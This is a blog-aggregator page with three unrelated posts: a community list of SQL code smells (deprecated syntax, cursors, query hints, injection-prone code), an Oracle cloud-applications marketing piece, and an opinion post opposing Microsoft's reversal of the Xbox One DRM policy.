Hamburg 2006-04-14 dropping knowledge 2006-04-09 GEL 2005 2006-03-13 slide photos of reboot7 2006-03-04 Dick Hardt on Identity 2.0 2006-02-28 User Experience Newsletter #13: Versioning 2006-02-03 Ester Dyson on Choice and Happyness 2006-02-02 Requirements-Engineering im Spannungsfeld von Individual- und Produktsoftware 2006-01-15 User Experience Newsletter #12: Intuition Quiz 2005-11-30 User Experience und Requirements-Engineering für Software-Projekte 2005-10-31 Ivan Sutherland on "Research and Fun" 2005-10-18 Ars Electronica / Mensch und Computer 2005 2005-09-14 60 Jahre nach Memex: Über die Unvereinbarkeit von Desktop- und Web-Paradigma 2005-08-31 reboot 7 2005-06-30

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  • Listing common SQL Code Smells.

    - by Phil Factor
    Once you’ve done a number of SQL Code-reviews, you’ll know those signs in the code that all might not be well. These ’Code Smells’ are coding styles that don’t directly cause a bug, but are indicators that all is not well with the code. . Kent Beck and Massimo Arnoldi seem to have coined the phrase in the "OnceAndOnlyOnce" page of www.C2.com, where Kent also said that code "wants to be simple". Bad Smells in Code was an essay by Kent Beck and Martin Fowler, published as Chapter 3 of the book ‘Refactoring: Improving the Design of Existing Code’ (ISBN 978-0201485677) Although there are generic code-smells, SQL has its own particular coding habits that will alert the programmer to the need to re-factor what has been written. See Exploring Smelly Code   and Code Deodorants for Code Smells by Nick Harrison for a grounding in Code Smells in C# I’ve always been tempted by the idea of automating a preliminary code-review for SQL. It would be so useful to trawl through code and pick up the various problems, much like the classic ‘Lint’ did for C, and how the Code Metrics plug-in for .NET Reflector by Jonathan 'Peli' de Halleux is used for finding Code Smells in .NET code. The problem is that few of the standard procedural code smells are relevant to SQL, and we need an agreed list of code smells. Merrilll Aldrich made a grand start last year in his blog Top 10 T-SQL Code Smells.However, I'd like to make a start by discovering if there is a general opinion amongst Database developers what the most important SQL Smells are. One can be a bit defensive about code smells. I will cheerfully write very long stored procedures, even though they are frowned on. I’ll use dynamic SQL occasionally. You can only use them as an aid for your own judgment and it is fine to ‘sign them off’ as being appropriate in particular circumstances. Also, whole classes of ‘code smells’ may be irrelevant for a particular database. The use of proprietary SQL, for example, is only a ‘code smell’ if there is a chance that the database will have to be ported to another RDBMS. The use of dynamic SQL is a risk only with certain security models. As the saying goes,  a CodeSmell is a hint of possible bad practice to a pragmatist, but a sure sign of bad practice to a purist. Plamen Ratchev’s wonderful article Ten Common SQL Programming Mistakes lists some of these ‘code smells’ along with out-and-out mistakes, but there are more. The use of nested transactions, for example, isn’t entirely incorrect, even though the database engine ignores all but the outermost: but it does flag up the possibility that the programmer thinks that nested transactions are supported. If anything requires some sort of general agreement, the definition of code smells is one. I’m therefore going to make this Blog ‘dynamic, in that, if anyone twitters a suggestion with a #SQLCodeSmells tag (or sends me a twitter) I’ll update the list here. If you add a comment to the blog with a suggestion of what should be added or removed, I’ll do my best to oblige. In other words, I’ll try to keep this blog up to date. The name against each 'smell' is the name of the person who Twittered me, commented about or who has written about the 'smell'. it does not imply that they were the first ever to think of the smell! Use of deprecated syntax such as *= (Dave Howard) Denormalisation that requires the shredding of the contents of columns. (Merrill Aldrich) Contrived interfaces Use of deprecated datatypes such as TEXT/NTEXT (Dave Howard) Datatype mis-matches in predicates that rely on implicit conversion.(Plamen Ratchev) Using Correlated subqueries instead of a join   (Dave_Levy/ Plamen Ratchev) The use of Hints in queries, especially NOLOCK (Dave Howard /Mike Reigler) Few or No comments. Use of functions in a WHERE clause. (Anil Das) Overuse of scalar UDFs (Dave Howard, Plamen Ratchev) Excessive ‘overloading’ of routines. The use of Exec xp_cmdShell (Merrill Aldrich) Excessive use of brackets. (Dave Levy) Lack of the use of a semicolon to terminate statements Use of non-SARGable functions on indexed columns in predicates (Plamen Ratchev) Duplicated code, or strikingly similar code. Misuse of SELECT * (Plamen Ratchev) Overuse of Cursors (Everyone. Special mention to Dave Levy & Adrian Hills) Overuse of CLR routines when not necessary (Sam Stange) Same column name in different tables with different datatypes. (Ian Stirk) Use of ‘broken’ functions such as ‘ISNUMERIC’ without additional checks. Excessive use of the WHILE loop (Merrill Aldrich) INSERT ... EXEC (Merrill Aldrich) The use of stored procedures where a view is sufficient (Merrill Aldrich) Not using two-part object names (Merrill Aldrich) Using INSERT INTO without specifying the columns and their order (Merrill Aldrich) Full outer joins even when they are not needed. (Plamen Ratchev) Huge stored procedures (hundreds/thousands of lines). Stored procedures that can produce different columns, or order of columns in their results, depending on the inputs. Code that is never used. Complex and nested conditionals WHILE (not done) loops without an error exit. Variable name same as the Datatype Vague identifiers. Storing complex data  or list in a character map, bitmap or XML field User procedures with sp_ prefix (Aaron Bertrand)Views that reference views that reference views that reference views (Aaron Bertrand) Inappropriate use of sql_variant (Neil Hambly) Errors with identity scope using SCOPE_IDENTITY @@IDENTITY or IDENT_CURRENT (Neil Hambly, Aaron Bertrand) Schemas that involve multiple dated copies of the same table instead of partitions (Matt Whitfield-Atlantis UK) Scalar UDFs that do data lookups (poor man's join) (Matt Whitfield-Atlantis UK) Code that allows SQL Injection (Mladen Prajdic) Tables without clustered indexes (Matt Whitfield-Atlantis UK) Use of "SELECT DISTINCT" to mask a join problem (Nick Harrison) Multiple stored procedures with nearly identical implementation. (Nick Harrison) Excessive column aliasing may point to a problem or it could be a mapping implementation. (Nick Harrison) Joining "too many" tables in a query. (Nick Harrison) Stored procedure returning more than one record set. (Nick Harrison) A NOT LIKE condition (Nick Harrison) excessive "OR" conditions. (Nick Harrison) User procedures with sp_ prefix (Aaron Bertrand) Views that reference views that reference views that reference views (Aaron Bertrand) sp_OACreate or anything related to it (Bill Fellows) Prefixing names with tbl_, vw_, fn_, and usp_ ('tibbling') (Jeremiah Peschka) Aliases that go a,b,c,d,e... (Dave Levy/Diane McNurlan) Overweight Queries (e.g. 4 inner joins, 8 left joins, 4 derived tables, 10 subqueries, 8 clustered GUIDs, 2 UDFs, 6 case statements = 1 query) (Robert L Davis) Order by 3,2 (Dave Levy) MultiStatement Table functions which are then filtered 'Sel * from Udf() where Udf.Col = Something' (Dave Ballantyne) running a SQL 2008 system in SQL 2000 compatibility mode(John Stafford)

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  • Best of Breed vs. Suite – Oracle’s SaaS Delivers Both

    - by yaldahhakim
    Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} The debate of which is better: “best of breed” business applications vs. an integrated suite is certainly not a new conversation. This has been argued between IT vendors and CIOs for years. It’s also important to clarify that “best of breed” does not necessarily translate into being the richest functionality; rather it’s often about just having the best fit solution to solve a specific business problem or need. So what does cloud have to do with the niche vs. suite debate? Consuming business applications in a cloud or SaaS deployment model can change the best of breed vs. suite discussion - if the cloud is done right. It’s having your cake and eating it too only better: you don’t have to gather all the ingredients or wait to bake your cake, and you can adjust how big of slice you take. Before you eat, it’s worth pausing to recall much of what we learned about IT over the last decade. These basic IT principles still hold true even though the financial model has changed from buying to renting. In other words, what’s under the technology hood still matters. Architecture and development methodologies like building an application based on open standards so it works with other systems - is still important. Data and information silos, complex integrations, and proprietary technologies that lock you in, are still bad. While some may argue that IT no longer matters with cloud, the opposite is actually true. If anything cloud can help return IT back to its rightful place as key strategic asset vs. a liability on the balance sheet. The “I” in CIO was never meant to stand for “integration” yet it’s amazing how much time and money is poured into these types of initiatives for most organizations each year. Rather the “I” needs to stand for “innovation”. This is where Oracle SaaS can uniquely help. Oracle’s application strategy has not really changed over the years. It’s always been about bringing the best and richest functionality across the enterprise to our customers while leveraging a common, standards-based, and enterprise-grade platform. So not jut best fit, but the best capabilities based on the input of thousands of enterprise customers across the globe. Oracle invests billions in R&D every year to add new capabilities to the broadest cloud portfolio in the industry, spanning across functional pillars like CRM, HCM, ERP, etc. And where it makes sense, Oracle combines key strategic acquisitions to complement organic functionality. The result is best of breed delivered in a suite. Again this is not something new. The game changer now with cloud is that it impacts HOW Oracle customers adopt the richest, most modern applications across the business – and continue on getting it. Consuming oracle applications in the cloud means you can adopt new capabilities and updates very quickly and easily. There’s no hardware to buy or software to manage. Oracle does it for you. Low upfront costs and an OpEx financial model is the easy part. Oracle Cloud Applications take it a big step further. For organizations that demand having the latest and richest functionality and accelerating the time to value from their IT investment, Oracle Cloud is the right path. It’s about holistically changing the “hows” and the “whys” of the organization by leveraging transformational innovations like social, mobile, and big data in a consistent and more powerful way. Not just about sales force automation or talent management. These technologies should impact all parts of the company and Oracle Cloud is the enterprise-grade delivery vehicle. Oracle SaaS helps break down barriers of adoption and is eases the headache of upgrades, investing in new supporting hardware, or adding internal expertise to manage it all. With Oracle Cloud, customers can get best of breed capabilities in either a full suite model or a la carte. And because it’s entirely built on open standards, it’s built to co-exist with existing IT investments. Updates can be automatic or delayed based on a customer’s requirements. And it’s complete – a full suite of cross pillar functionality. Even better, if you don’t like it, need more or less, just turn the dial up or down. Just like your utility bill, you pay for what you use, and can consume more or less power whenever you need it. Lower cost, lower investment risk, without compromising on functionality, security, or performance. Technology still matters in the cloud. So our cloud customers also like that when they adopt our cloud applications, they also get the best underlying technology, from the middleware and database platform down to infrastructure and Oracle’s engineered systems. Therefore it’s not just the greatest and latest in application functionality, but everything underneath that makes it work is also the latest and greatest. The best of breed technology stack powering best of breed business applications, and all delivered in a subscription based model. The best of both worlds. Yep, that’s the idea.

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  • My Thoughts On the Xbox 180

    - by Chris Gardner
    Originally posted on: http://geekswithblogs.net/freestylecoding/archive/2013/06/21/my-thoughts-on-the-xbox-180.aspx Everyone seems to be putting their 0.00237 cents into the wishing well over Microsoft's recent decision to reverse the DRM policy on the Xbox One. However, there have been a few issues that nobody has touched. As such, I have decided to dig 0.00237 cents out of my pocket. First, let me be clear about this point. I do not support the decision to reverse the DRM policy on the Xbox One. I wanted that point to be expressed first and unambiguously. I will say it again. I do not support the decision to reverse the DRM policy on the Xbox One. Now that I have that out of the way, let me go into my rationale. This decision removes most of the cool features that enticed me to pre-order the console. No, I didn't cancel my pre-order. There is still five months before the release of the console, and there is still a plethora of information that we, as consumers, do not have. With that, it should be noted that much of the talk in this post is speculation and rhetoric. I do not have any insider information that you do not possess. The persistent connection would have allowed the console to do many of the functions for which we have been begging. That demo where someone was playing Ryse, seamlessly accepted a multiplayer challenge in Killer Instinct, played the match (and a rematch,) and then jumped back into Ryse. That's gone, if you bought the game on disc. The new, DRM free system will require the disc in the system to play a game. That bullet point where one Xbox Live account could have up to 10 slave accounts so families could play together, no matter where they were located. That's gone as well. The promise of huge, expansive, dynamically changing worlds that was brought to us with the power of cloud computing. Well, "the people" didn't want there to be a forced, persistent connection. As such, developers can't rely on a connection and, as such, that feature is gone. This is akin to the removal of the hard drive on the Xbox 360. The list continues, but the enthusiast press has enumerated the list far better than I wish. All of this is because the Xbox team saw the HUGE success of Steam and decided to borrow a few ideas. Yes, Steam. The service that everyone hated for the first six months (for the same reasons the Xbox One is getting flack.) There was an initial growing pain. However, it is now lauded as the way games distribution should be handled. Unless you are Microsoft. I do find it curious that many of the features were originally announced for the PS4 during its unveiling. However, much of that was left strangely absent for Sony's E3 press conference. Instead, we received a single, static slide that basically said the exact opposite of Microsoft's plans. It is not farfetched to believe that slide came into existence during the approximately seven hours between the two media briefings. The thing that majorly annoys me over this whole kerfuffle is that the single thing that caused the call to arms is, really, not an issue. Microsoft never said they were going to block used sales. They said it was up to the publisher to make that decision. This would have allowed publishers to reclaim some of the costs of development in subsequent sales of the product. If you sell your game to GameStop for 7 USD, GameStop is going to sell it for 55 USD. That is 48 USD pure profit for them. Some publishers asked GameStop for a small cut. Was this a huge, money grubbing scheme? Well, yes, but the idea was that they have to handle server infrastructure for dormant accounts, etc. Of course, GameStop flatly refused, and the Online Pass was born. Fortunately, this trend didn’t last, and most publishers have stopped the practice. The ability to sell "licenses" has already begun to be challenged. Are you living in the EU? If so, companies must allow you to sell digital property. With this precedent in place, it's only a matter of time before other areas follow suit. If GameStop were smart, they should have immediately contacted every publisher out there to get the rights to become a clearing house for these licenses. Then, they keep their business model and could reduce their brick and mortar footprint. The digital landscape is changing. We need to not block this process. As Seth MacFarlane best said "Some issues are so important that you should drag people kicking and screaming." I believe this was said on an episode of Real Time with Bill Maher about the issue of Gay Marriages. Much like the original source, this is an issue that we need to drag people to the correct, progressive position. Microsoft, as a company, actually has the resources to weather the transition period. They have a great pool of first and second party developers that can leverage this new framework to prove the validity. Over time, the third party developers will get excited to use these tools. As an old C++ guy, I resisted C# for years. Now, I think it's one of the best languages I've ever used. I have a server room and a Co-Lo full of servers, so I originally didn't see the value in Azure. Now, I wish I could move every one of my projects into the cloud. I still LOVE getting physical packaging, which my music and games collection will proudly attest. However, I have started to see the value in pure digital, and have found ways to integrate this into the ways I consume those products. I can, honestly, understand how some parts of the population would be very apprehensive about this new landscape. There were valid arguments about people with no internet access. There are ways to combat these problems. These methods do not require us to throw the baby out with the bathwater. However, the number of people in the computer industry that I have seen cry foul is truly appalling. We are the forward looking people that help show how technology can improve people's lives. If we can't see the value of the brief pain involved with an exciting new ecosystem, than who will?

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